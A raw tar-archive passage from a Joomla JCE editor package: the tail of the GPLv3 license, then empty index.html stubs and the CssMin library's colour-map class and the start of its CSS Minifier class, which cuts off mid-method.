convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

com_jce/editor/libraries/classes/vendor/lessphp/index.html000060400000000054152453734450020021 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/classes/vendor/index.html000060400000000054152453734450016343 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/classes/vendor/cssmin/src/Colors.php000060400000012561152453734450020411 0ustar00<?php

namespace tubalmartin\CssMin;

class Colors
{
    public static function getHexToNamedMap()
    {
        // Hex colors longer than named counterpart
        return array(
            '#f0ffff' => 'azure',
            '#f5f5dc' => 'beige',
            '#ffe4c4' => 'bisque',
            '#a52a2a' => 'brown',
            '#ff7f50' => 'coral',
            '#ffd700' => 'gold',
            '#808080' => 'gray',
            '#008000' => 'green',
            '#4b0082' => 'indigo',
            '#fffff0' => 'ivory',
            '#f0e68c' => 'khaki',
            '#faf0e6' => 'linen',
            '#800000' => 'maroon',
            '#000080' => 'navy',
            '#fdf5e6' => 'oldlace',
            '#808000' => 'olive',
            '#ffa500' => 'orange',
            '#da70d6' => 'orchid',
            '#cd853f' => 'peru',
            '#ffc0cb' => 'pink',
            '#dda0dd' => 'plum',
            '#800080' => 'purple',
            '#f00'    => 'red',
            '#fa8072' => 'salmon',
            '#a0522d' => 'sienna',
            '#c0c0c0' => 'silver',
            '#fffafa' => 'snow',
            '#d2b48c' => 'tan',
            '#008080' => 'teal',
            '#ff6347' => 'tomato',
            '#ee82ee' => 'violet',
            '#f5deb3' => 'wheat'
        );
    }

    public static function getNamedToHexMap()
    {
        // Named colors longer than hex counterpart
        return array(
            'aliceblue' => '#f0f8ff',
            'antiquewhite' => '#faebd7',
            'aquamarine' => '#7fffd4',
            'black' => '#000',
            'blanchedalmond' => '#ffebcd',
            'blueviolet' => '#8a2be2',
            'burlywood' => '#deb887',
            'cadetblue' => '#5f9ea0',
            'chartreuse' => '#7fff00',
            'chocolate' => '#d2691e',
            'cornflowerblue' => '#6495ed',
            'cornsilk' => '#fff8dc',
            'darkblue' => '#00008b',
            'darkcyan' => '#008b8b',
            'darkgoldenrod' => '#b8860b',
            'darkgray' => '#a9a9a9',
            'darkgreen' => '#006400',
            'darkgrey' => '#a9a9a9',
            'darkkhaki' => '#bdb76b',
            'darkmagenta' => '#8b008b',
            'darkolivegreen' => '#556b2f',
            'darkorange' => '#ff8c00',
            'darkorchid' => '#9932cc',
            'darksalmon' => '#e9967a',
            'darkseagreen' => '#8fbc8f',
            'darkslateblue' => '#483d8b',
            'darkslategray' => '#2f4f4f',
            'darkslategrey' => '#2f4f4f',
            'darkturquoise' => '#00ced1',
            'darkviolet' => '#9400d3',
            'deeppink' => '#ff1493',
            'deepskyblue' => '#00bfff',
            'dodgerblue' => '#1e90ff',
            'firebrick' => '#b22222',
            'floralwhite' => '#fffaf0',
            'forestgreen' => '#228b22',
            'fuchsia' => '#f0f',
            'gainsboro' => '#dcdcdc',
            'ghostwhite' => '#f8f8ff',
            'goldenrod' => '#daa520',
            'greenyellow' => '#adff2f',
            'honeydew' => '#f0fff0',
            'indianred' => '#cd5c5c',
            'lavender' => '#e6e6fa',
            'lavenderblush' => '#fff0f5',
            'lawngreen' => '#7cfc00',
            'lemonchiffon' => '#fffacd',
            'lightblue' => '#add8e6',
            'lightcoral' => '#f08080',
            'lightcyan' => '#e0ffff',
            'lightgoldenrodyellow' => '#fafad2',
            'lightgray' => '#d3d3d3',
            'lightgreen' => '#90ee90',
            'lightgrey' => '#d3d3d3',
            'lightpink' => '#ffb6c1',
            'lightsalmon' => '#ffa07a',
            'lightseagreen' => '#20b2aa',
            'lightskyblue' => '#87cefa',
            'lightslategray' => '#778899',
            'lightslategrey' => '#778899',
            'lightsteelblue' => '#b0c4de',
            'lightyellow' => '#ffffe0',
            'limegreen' => '#32cd32',
            'mediumaquamarine' => '#66cdaa',
            'mediumblue' => '#0000cd',
            'mediumorchid' => '#ba55d3',
            'mediumpurple' => '#9370db',
            'mediumseagreen' => '#3cb371',
            'mediumslateblue' => '#7b68ee',
            'mediumspringgreen' => '#00fa9a',
            'mediumturquoise' => '#48d1cc',
            'mediumvioletred' => '#c71585',
            'midnightblue' => '#191970',
            'mintcream' => '#f5fffa',
            'mistyrose' => '#ffe4e1',
            'moccasin' => '#ffe4b5',
            'navajowhite' => '#ffdead',
            'olivedrab' => '#6b8e23',
            'orangered' => '#ff4500',
            'palegoldenrod' => '#eee8aa',
            'palegreen' => '#98fb98',
            'paleturquoise' => '#afeeee',
            'palevioletred' => '#db7093',
            'papayawhip' => '#ffefd5',
            'peachpuff' => '#ffdab9',
            'powderblue' => '#b0e0e6',
            'rebeccapurple' => '#663399',
            'rosybrown' => '#bc8f8f',
            'royalblue' => '#4169e1',
            'saddlebrown' => '#8b4513',
            'sandybrown' => '#f4a460',
            'seagreen' => '#2e8b57',
            'seashell' => '#fff5ee',
            'slateblue' => '#6a5acd',
            'slategray' => '#708090',
            'slategrey' => '#708090',
            'springgreen' => '#00ff7f',
            'steelblue' => '#4682b4',
            'turquoise' => '#40e0d0',
            'white' => '#fff',
            'whitesmoke' => '#f5f5f5',
            'yellow' => '#ff0',
            'yellowgreen' => '#9acd32'
        );
    }
}
com_jce/editor/libraries/classes/vendor/cssmin/src/Minifier.php000060400000076515152453734450020723 0ustar00<?php

/*!
 * CssMin
 * Author: Tubal Martin - http://tubalmartin.me/
 * Repo: https://github.com/tubalmartin/YUI-CSS-compressor-PHP-port
 *
 * This is a PHP port of the CSS minification tool distributed with YUICompressor,
 * itself a port of the cssmin utility by Isaac Schlueter - http://foohack.com/
 * Permission is hereby granted to use the PHP version under the same
 * conditions as the YUICompressor.
 */

/*!
 * YUI Compressor
 * http://developer.yahoo.com/yui/compressor/
 * Author: Julien Lecomte - http://www.julienlecomte.net/
 * Copyright (c) 2013 Yahoo! Inc. All rights reserved.
 * The copyrights embodied in the content of this file are licensed
 * by Yahoo! Inc. under the BSD (revised) open source license.
 */

namespace tubalmartin\CssMin;

class Minifier
{
    const QUERY_FRACTION = '_CSSMIN_QF_';
    const COMMENT_TOKEN = '_CSSMIN_CMT_%d_';
    const COMMENT_TOKEN_START = '_CSSMIN_CMT_';
    const RULE_BODY_TOKEN = '_CSSMIN_RBT_%d_';
    const PRESERVED_TOKEN = '_CSSMIN_PTK_%d_';
    
    // Token lists
    private $comments = array();
    private $ruleBodies = array();
    private $preservedTokens = array();
    
    // Output options
    private $keepImportantComments = true;
    private $keepSourceMapComment = false;
    private $linebreakPosition = 0;
    
    // PHP ini limits
    private $raisePhpLimits;
    private $memoryLimit;
    private $maxExecutionTime = 60; // 1 min
    private $pcreBacktrackLimit;
    private $pcreRecursionLimit;
    
    // Color maps
    private $hexToNamedColorsMap;
    private $namedToHexColorsMap;
    
    // Regexes
    private $numRegex;
    private $charsetRegex = '/@charset [^;]+;/Si';
    private $importRegex = '/@import [^;]+;/Si';
    private $namespaceRegex = '/@namespace [^;]+;/Si';
    private $namedToHexColorsRegex;
    private $shortenOneZeroesRegex;
    private $shortenTwoZeroesRegex;
    private $shortenThreeZeroesRegex;
    private $shortenFourZeroesRegex;
    private $unitsGroupRegex = '(?:ch|cm|em|ex|gd|in|mm|px|pt|pc|q|rem|vh|vmax|vmin|vw|%)';

    /**
     * @param bool|int $raisePhpLimits If true, PHP settings will be raised if needed
     */
    public function __construct($raisePhpLimits = true)
    {
        $this->raisePhpLimits = (bool) $raisePhpLimits;
        $this->memoryLimit = 128 * 1048576; // 128MB in bytes
        $this->pcreBacktrackLimit = 1000 * 1000;
        $this->pcreRecursionLimit = 500 * 1000;
        $this->hexToNamedColorsMap = Colors::getHexToNamedMap();
        $this->namedToHexColorsMap = Colors::getNamedToHexMap();
        $this->namedToHexColorsRegex = sprintf(
            '/([:,( ])(%s)( |,|\)|;|$)/Si',
            implode('|', array_keys($this->namedToHexColorsMap))
        );
        $this->numRegex = sprintf('-?\d*\.?\d+%s?', $this->unitsGroupRegex);
        $this->setShortenZeroValuesRegexes();
    }

    /**
     * Parses & minifies the given input CSS string
     * @param string $css
     * @return string
     */
    public function run($css = '')
    {
        if (empty($css) || !is_string($css)) {
            return '';
        }

        $this->resetRunProperties();

        if ($this->raisePhpLimits) {
            $this->doRaisePhpLimits();
        }

        return $this->minify($css);
    }

    /**
     * Sets whether to keep or remove sourcemap special comment.
     * Sourcemap comments are removed by default.
     * @param bool $keepSourceMapComment
     */
    public function keepSourceMapComment($keepSourceMapComment = true)
    {
        $this->keepSourceMapComment = (bool) $keepSourceMapComment;
    }

    /**
     * Sets whether to keep or remove important comments.
     * Important comments outside of a declaration block are kept by default.
     * @param bool $removeImportantComments
     */
    public function removeImportantComments($removeImportantComments = true)
    {
        $this->keepImportantComments = !(bool) $removeImportantComments;
    }

    /**
     * Sets the approximate column after which long lines will be splitted in the output
     * with a linebreak.
     * @param int $position
     */
    public function setLineBreakPosition($position)
    {
        $this->linebreakPosition = (int) $position;
    }

    /**
     * Sets the memory limit for this script
     * @param int|string $limit
     */
    public function setMemoryLimit($limit)
    {
        $this->memoryLimit = Utils::normalizeInt($limit);
    }

    /**
     * Sets the maximum execution time for this script
     * @param int|string $seconds
     */
    public function setMaxExecutionTime($seconds)
    {
        $this->maxExecutionTime = (int) $seconds;
    }

    /**
     * Sets the PCRE backtrack limit for this script
     * @param int $limit
     */
    public function setPcreBacktrackLimit($limit)
    {
        $this->pcreBacktrackLimit = (int) $limit;
    }

    /**
     * Sets the PCRE recursion limit for this script
     * @param int $limit
     */
    public function setPcreRecursionLimit($limit)
    {
        $this->pcreRecursionLimit = (int) $limit;
    }

    /**
     * Builds regular expressions needed for shortening zero values
     */
    private function setShortenZeroValuesRegexes()
    {
        $zeroRegex = '0'. $this->unitsGroupRegex;
        $numOrPosRegex = '('. $this->numRegex .'|top|left|bottom|right|center) ';
        $oneZeroSafeProperties = array(
            '(?:line-)?height',
            '(?:(?:min|max)-)?width',
            'top',
            'left',
            'background-position',
            'bottom',
            'right',
            'border(?:-(?:top|left|bottom|right))?(?:-width)?',
            'border-(?:(?:top|bottom)-(?:left|right)-)?radius',
            'column-(?:gap|width)',
            'margin(?:-(?:top|left|bottom|right))?',
            'outline-width',
            'padding(?:-(?:top|left|bottom|right))?'
        );

        // First zero regex
        $regex = '/(^|;)('. implode('|', $oneZeroSafeProperties) .'):%s/Si';
        $this->shortenOneZeroesRegex = sprintf($regex, $zeroRegex);

        // Multiple zeroes regexes
        $regex = '/(^|;)(margin|padding|border-(?:width|radius)|background-position):%s/Si';
        $this->shortenTwoZeroesRegex = sprintf($regex, $numOrPosRegex . $zeroRegex);
        $this->shortenThreeZeroesRegex = sprintf($regex, $numOrPosRegex . $numOrPosRegex . $zeroRegex);
        $this->shortenFourZeroesRegex = sprintf($regex, $numOrPosRegex . $numOrPosRegex . $numOrPosRegex . $zeroRegex);
    }

    /**
     * Resets properties whose value may change between runs
     */
    private function resetRunProperties()
    {
        $this->comments = array();
        $this->ruleBodies = array();
        $this->preservedTokens = array();
    }

    /**
     * Tries to configure PHP to use at least the suggested minimum settings
     * @return void
     */
    private function doRaisePhpLimits()
    {
        $phpLimits = array(
            'memory_limit' => $this->memoryLimit,
            'max_execution_time' => $this->maxExecutionTime,
            'pcre.backtrack_limit' => $this->pcreBacktrackLimit,
            'pcre.recursion_limit' =>  $this->pcreRecursionLimit
        );

        // If current settings are higher respect them.
        foreach ($phpLimits as $name => $suggested) {
            $current = Utils::normalizeInt(ini_get($name));

            if ($current >= $suggested) {
                continue;
            }

            // memoryLimit exception: allow -1 for "no memory limit".
            if ($name === 'memory_limit' && $current === -1) {
                continue;
            }

            // maxExecutionTime exception: allow 0 for "no memory limit".
            if ($name === 'max_execution_time' && $current === 0) {
                continue;
            }

            ini_set($name, $suggested);
        }
    }

    /**
     * Registers a preserved token
     * @param string $token
     * @return string The token ID string
     */
    private function registerPreservedToken($token)
    {
        $tokenId = sprintf(self::PRESERVED_TOKEN, count($this->preservedTokens));
        $this->preservedTokens[$tokenId] = $token;
        return $tokenId;
    }

    /**
     * Registers a candidate comment token
     * @param string $comment
     * @return string The comment token ID string
     */
    private function registerCommentToken($comment)
    {
        $tokenId = sprintf(self::COMMENT_TOKEN, count($this->comments));
        $this->comments[$tokenId] = $comment;
        return $tokenId;
    }

    /**
     * Registers a rule body token
     * @param string $body the minified rule body
     * @return string The rule body token ID string
     */
    private function registerRuleBodyToken($body)
    {
        if (empty($body)) {
            return '';
        }

        $tokenId = sprintf(self::RULE_BODY_TOKEN, count($this->ruleBodies));
        $this->ruleBodies[$tokenId] = $body;
        return $tokenId;
    }

    /**
     * Parses & minifies the given input CSS string
     * @param string $css
     * @return string
     */
    private function minify($css)
    {
        // Process data urls
        $css = $this->processDataUrls($css);

        // Process comments
        $css = preg_replace_callback(
            '/(?<!\\\\)\/\*(.*?)\*(?<!\\\\)\//Ss',
            array($this, 'processCommentsCallback'),
            $css
        );

        // IE7: Process Microsoft matrix filters (whitespaces between Matrix parameters). Can contain strings inside.
        $css = preg_replace_callback(
            '/filter:\s*progid:DXImageTransform\.Microsoft\.Matrix\(([^)]+)\)/Ss',
            array($this, 'processOldIeSpecificMatrixDefinitionCallback'),
            $css
        );

        // Process quoted unquotable attribute selectors to unquote them. Covers most common cases.
        // Likelyhood of a quoted attribute selector being a substring in a string: Very very low.
        $css = preg_replace(
            '/\[\s*([a-z][a-z-]+)\s*([\*\|\^\$~]?=)\s*[\'"](-?[a-z_][a-z0-9-_]+)[\'"]\s*\]/Ssi',
            '[$1$2$3]',
            $css
        );

        // Process strings so their content doesn't get accidentally minified
        $css = preg_replace_callback(
            '/(?:"(?:[^\\\\"]|\\\\.|\\\\)*")|'."(?:'(?:[^\\\\']|\\\\.|\\\\)*')/S",
            array($this, 'processStringsCallback'),
            $css
        );

        // Normalize all whitespace strings to single spaces. Easier to work with that way.
        $css = preg_replace('/\s+/S', ' ', $css);

        // Process import At-rules with unquoted URLs so URI reserved characters such as a semicolon may be used safely.
        $css = preg_replace_callback(
            '/@import url\(([^\'"]+?)\)( |;)/Si',
            array($this, 'processImportUnquotedUrlAtRulesCallback'),
            $css
        );
        
        // Process comments
        $css = $this->processComments($css);
        
        // Process rule bodies
        $css = $this->processRuleBodies($css);
        
        // Process at-rules and selectors
        $css = $this->processAtRulesAndSelectors($css);

        // Restore preserved rule bodies before splitting
        $css = strtr($css, $this->ruleBodies);

        // Split long lines in output if required
        $css = $this->processLongLineSplitting($css);

        // Restore preserved comments and strings
        $css = strtr($css, $this->preservedTokens);

        return trim($css);
    }

    /**
     * Searches & replaces all data urls with tokens before we start compressing,
     * to avoid performance issues running some of the subsequent regexes against large string chunks.
     * @param string $css
     * @return string
     */
    private function processDataUrls($css)
    {
        $ret = '';
        $searchOffset = $substrOffset = 0;

        // Since we need to account for non-base64 data urls, we need to handle
